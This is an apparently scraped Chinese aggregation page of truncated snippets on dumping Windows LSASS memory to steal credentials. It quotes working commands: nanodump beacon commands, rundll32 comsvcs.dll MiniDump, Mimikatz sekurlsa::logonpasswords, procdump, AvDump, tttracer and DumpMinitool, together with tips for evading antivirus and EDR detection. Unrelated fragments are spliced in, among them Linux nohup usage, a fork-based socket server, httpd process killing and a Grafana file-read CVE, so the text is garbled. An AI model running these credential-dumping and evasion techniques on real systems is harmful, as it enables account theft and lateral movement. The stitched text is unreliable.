今天在国外师傅的博客上（https://osandamalith.com/2019/05/11/shellcode-to-dump-the-lsass-process/），看到了使用shellcode转存...lsass进程的技术，分享给大家： Windows 10 and Server 2019 x86_64版本： #include #include #include... /* * Title: Shellcode to dump the lsass process * Works only on Windows 10 and Windows.../blob/master/dump_lsass_for_Win10_x64.exe https://github.com/7hmA3s/dump_lsass/blob/master/dump_lsass_for_Win7...使用管理员权限运行上面的程序，会得到lsass_dump.dmp，即为保存dump数据的文件。
关于NanoDump NanoDump是一款功能强大的MiniDump转储文件提取工具，在该工具的帮助下，广大研究人员可以轻松转储LSASS进程中的MiniDump数据。...的进程PID； 9、不会调用dbghelp或其他库，所有的转储逻辑都在NanoDump中实现； 10、支持进程Fork； 11、支持快照； 12、支持句柄拷贝； 13、支持MalSecLogon； 14...工具使用演示 通过创建一个Fork间接读取LSASS进程数据，并使用无效签名将转储文件写入磁盘： beacon> nanodump --fork --write C:\lsass.dmp 使用MalSecLogon...在一个记事本进程中获取LSASS句柄，然后拷贝句柄以访问LSASS，并读取转储信息： beacon> nanodump --malseclogon --dup --fork --binary C:\Windows...： beacon> nanodump --dup --write C:\Windows\Temp\report.docx 获取LSASS进程PID： beacon> nanodump --getpid
image.png 分叉远程进程 滥用Windows中有限的分叉功能的新方法。 如果你不分叉自己的进程，而是分叉一个远程进程....如果攻击者能够分叉一个远程进程，他们将能够深入了解目标进程，而不需要敏感的进程访问权 如PROCESS_VM_READ可以被反病毒软件监控。...凭据转存 像这样隐蔽的内存读取技术的一个明显目标是本地安全授权子系统服务（LSASS）。...LSASS通常是攻击者的目标，他们希望捕获当前机器的凭证 在典型的攻击中，像Mimikatz这样的恶意程序直接与受害者机器上的LSASS对接，然而，一个更隐蔽的选择是将LSASS的内存转储到攻击者机器上进行处理...通过进程分叉，攻击者可以通过转储LSASS分叉的内存来逃避监控或阻止访问LSASS进程 复现过程 需要system权限调试进程 自定义内存转存的文件 创建LSASS的分叉节点 分叉的子进程中通常使用MiniDumpWriteDump
Svchosts 将加载我们的 DLL，再次将 AutodiaDLL 设置为默认值并执行 RPC 请求以强制 LSASS 加载与安全支持提供程序相同的 DLL。...一旦 DLL 被 LSASS 加载，它将在进程内存中搜索以提取 NTLM 哈希和密钥/IV。 DLLMain 总是返回False，因此进程不会保留它。 它仅在RunAsPPL未启用时有效。...remote-dll dll location Path used to update AutodialDLL registry value Windows 服务器
关于windows上的lsass.exe进程 作者:eygle 出处:http://blog.eygle.com 日期:December 26, 2004 « 安装cronolog,格式化Apache的日志文件...| Blog首页 | 配置AWStats，Apache日志分析工具 » ---- 今天见到有人问lsass.exe进程，翻了点东西，记录些东西在这里。...lsass - lsass.exe - 进程信息 进程文件: lsass or lsass.exe 进程名称: 本地安全权限服务 描述: 本地安全权限服务，控制Windows安全机制。...常见错误: N/A 是否为系统进程: 是 该进程为系统进程，不能在任务管理器里终止，记得以前在命令行kill该进程，可能会导致系统蓝屏（不确认了）。...如果授权是成功的，lsass就会产生用户的进入令牌，令牌别使用启动初始的shell 。其他的由用户初始化的进程会继承这个令牌的。 但是适当的担心是有必要的，已知的部分病毒跟lsass有关。
关于DragonCastle DragonCastle是一款结合了AutodialDLL横向渗透技术和SSP的安全工具，该工具旨在帮助广大研究人员从LSASS进程中提取NTLM哈希。...Svchosts将负责加载我们上传的DLL，再次将AutodialDLL设置为默认值，并执行RPC请求以强制LSASS加载与安全支持提供程序相同的DLL。...一旦LSASS加载了DLL，它就会在进程内存中进行搜索，以提取NTLM哈希和密钥/IV。 ...待上传的DLL本地文件路径 -remote-dll dll location 更新AutodialDLL 注册表项值的远程路径 （向右滑动，查看更多） 工具使用样例 Windows服务器地址为...www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/ https://adepts.of0x.cc/physical-graffiti-lsass
分享一个小tips，利用tttracer.exe进行lsass转储，转储成Time Travel Debugging格式,思路来源:https://twitter.com/n_o_t_h_a_n_k_s.../status/1559620227586875392 首先新建两个管理员权限的powershell终端，分别运行: tttracer -dumpfull -attach (Get-Process lsass...| Select -expand id) tttracer -stop (Get-Process lsass | Select -expand id) 然后将得到的.run文件放入WinDbg Preview
进程的内存空间中存储的域，本地用户名和密码称为LSASS（本地安全机构子系统服务）。如果在目标上具有一定的权限，则可以授予用户访问LSASS的权限，并且可以提取其数据以进行横向移动和特权升级。...1.0任务管理器 内置的任务管理器具有用于过程的转储机制： 打开任务管理器，找到lsass进程 ? 右键》》创建转储文件 ?...Physmem2profit将WinPmem与C2服务器一起使用，以允许通过WinPmem驱动程序读取LSASS内存，而无需将全部内存保存到磁盘上。...API创建LSASS的进程快照，该快照也由MSDN记录。...新的手法 可以使用WerFault.exe（处理进程崩溃的Windows错误报告进程）创建lsass.exe的内存转储。
提示LSASS.EXE失败状态代码C0000005 故障问题：电脑出现提示一个关键系统进程，C：Windowssystem32lsass.exe失败，状态代码是c0000005。
\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp SilentLsassDump...项目地址： https://github.com/guervild/BOFs/tree/dev/SilentLsassDump silentLsassDump PostDump...post-cyberlabs/Offensive_tools/tree/main/PostDump 项目介绍：PostDump是由COS团队(网络攻击和安全)开发的C#工具，它使用几种技术绕过EDR Hook和lsass...保护来执行内存转储(lsass) 项目使用： C:\Temp>PostDump.exe [*] NtReadVirtualMemory: HOOKED!
进程的内存空间中，攻击者都可以提取这些凭据。...虽然Windows 7和Server 2008现在已失去扩展支持，应尽可能停用，但许多组织仍有很大比例的工作站和服务器安装在这些旧版本的Windows操作系统上，这使得他们成为攻击者Mimikatz式LSASS...-ma lsass.exe out.dmp 一些EDR解决方案将根据"lsass"进程名称对此发出警报或阻止，通常可以通过指定LSASS进程ID来绕过这一点 要通过PowerShell获取LSASS进程...要通过CMD获取LSASS进程ID，请执行以下操作： PS C:\Users\test> tasklist | findstr lsass lsass.exe...进程添加其他保护。
Lsass memory dump lsass是windows中处理本地安全和登录策略的重要进程，几乎所有的windows身份认证程序都离不开lsass进程。...pypykatz pypykatz中主要解决了对抗点一的问题，在不直接通过OpenProcess函数获取lsass进程句柄的情况下，通过复制其他进程对lsass进程的访问句柄来间接获取lsass...因为加载SSP dll的进程是lsass，因此MirrDump就获取到了lsass的进程句柄。...枚举进程句柄并找到lsass打开的句柄。 2. 修改当前进程TEB中的pid为lsass的PID。 3....检查新进程是否是lsass的handle，并复制handle。 方法二： 1. 修改当前进程TEB中的pid为lsass的PID。 2.
注：本机所有测试均为物理机,且为最新版AV Mimikatz直接读取Lsass进程 权限提升 privilege::debug 抓取密码 sekurlsa::logonpasswords 但如果此时目标机器上有...lsass).id Desktop\lsass-comsvcs.dmp full 同样被查杀 avdump.exe(yes) AvDump.exe是Avast杀毒软件中自带的一个程序，可用于转储指定进程...（lsass.exe）内存数据，它带有Avast杀软数字签名。...DumpMinitool.exe(yes) 此exe为近日mr.d0x的某推上分享了的一个LOLBIN，通过vs2022里的DumpMinitool.exe来导出lsass进程。...而这种调试技术，可以派生 werfault.exe进程，可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。 但该方式需要修改注册表，修改注册表操作将会被查杀。
首先把进程放到后台 nohup python main.py & 然后保持退出终端继续运行 ctrl-z bg 输出在nohup.out里面 输入fg，可以把任务调到前台并取消 输入jobs...显示后台进程
一、思路 先与客户端建立好连接， 每次监听到一个客户端之后，都需要产生一个子进程去处理这个连接，然后父进程继续去等待监听，唯一一个要注意的点就是要使用信号来监听子进程是否结束，从而对其进行回收，防止僵尸进程的产生...&opt, sizeof(opt)); （3）bind函数 bind(lfd, (struct sockaddr*)&ser_addr, sizeof(ser_addr));b这个函数主要目的就是将服务器的地址结构绑定到套接字...lfd上，所以开始要设置服务器的ser_addr:ser_addr.sin_family = AF_INET, ser_addr.sin_port = htons(8888);ser_addr.sin_addr.s_addr...监听到了客户端后，就要开始创建子进程来对这个监听进行处理；pid = fork() 3、子进程处理通信 因为子进程不需要监听连接，使用可以close(lfd)；之后便可以进行通信处理 void do_work...sizeof(buf)); tcp.Write(cfd, buf, n); tcp.Write(STDOUT_FILENO, buf, n); } } 4、父进程回收子进程
DumpMinitool.exe 经测试，360和卡巴拦截，火绒正常 Visual Studio 2022 的一个程序，使用这个需要安装扩展开发 📷 C:\P...
•通过MiniDumpWriteDump函数来dump LSASS内存。 而后又介绍了目前已有的免杀转储内存的方法，分别是： •创建LSASS的进程快照，通过进程快照来间接dump内存。...•通过复制其他进程获取的LSASS句柄来bypass av对进程句柄的监控。 •通过LSA插件，将LSASS进程句柄复制到其他进程，而不通过OpenProcess来打开LSASS。...通过windows的seclogon服务来进行ppid欺骗，从而将父进程改成lsass进程，来进行线程句柄泄露，获取lsass进程句柄。...句柄获取成功后，通过MiCloneProcessAddressSpace函数和NtCreateProcess来克隆lsass进程，从而读取lsass内存。...] Grafana未授权任意文件读取漏洞(CVE-2021-43798) 漏洞概述：由于 Grafana 处理插件静态文件时存在缺陷，导致攻击者可以访问未授权路由，通过构造目录穿越形式的路由，即可读取服务器本地敏感文件
0x1 前置理论 访问令牌(Access Token) Access Token是描述进程或线程的安全上下文的对象。其中包括进程或线程关联的用户账户的身份和权限。 .../线程时都会复制一份Access token用于描述与该进程相关联的用户账户的安全上下文，默认情况下，当进程的线程与安全对象交互时，系统使用授权令牌。...当用户登陆计算机，凭证验证通过后便会拿到一份访问令牌(Access Token)，该Token在我们创建进程或线程时会被使用，拷贝explorer.exe中的该用户的访问令牌到新的进程/线程当中用以权限分配...，本文将Lsass.exe转储用以提取Hash。...; while (_wcsicmp(L"lsass.exe",ProcessName)!
S 13:02 0:00 \_ /usr/sbin/httpd 我们查看httpd 服务器的进程；您也可以用pgrep -l httpd 来查看； 我们看上面例子中的第二列，就是进程PID的列，其中4830...是httpd服务器的父进程，从4833－4840的进程都是它4830的子进程；如果我们杀掉父进程4830的话，其下的子进程也会跟着死掉； [root@localhost ~]# kill 4840 注：...是不是httpd服务器仍在运行？...[root@localhost ~]# kill 4830 注：杀掉httpd的父进程； [root@localhost ~]# ps -aux |grep httpd 注：查看httpd的其它子进程是否存在...，httpd服务器是否仍在运行？
注：本机所有测试均为物理机,且为最新版AV Mimikatz直接读取Lsass进程 权限提升 privilege::debug 抓取密码 sekurlsa::logonpasswords [image-...进程内存 rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp...full 同样被查杀 [image-20220411154145618.png] avdump.exe(yes) AvDump.exe是Avast杀毒软件中自带的一个程序，可用于转储指定进程（lsass.exe...进程。...而这种调试技术，可以派生 werfault.exe进程，可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。 但该方式需要修改注册表，修改注册表操作将会被查杀。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
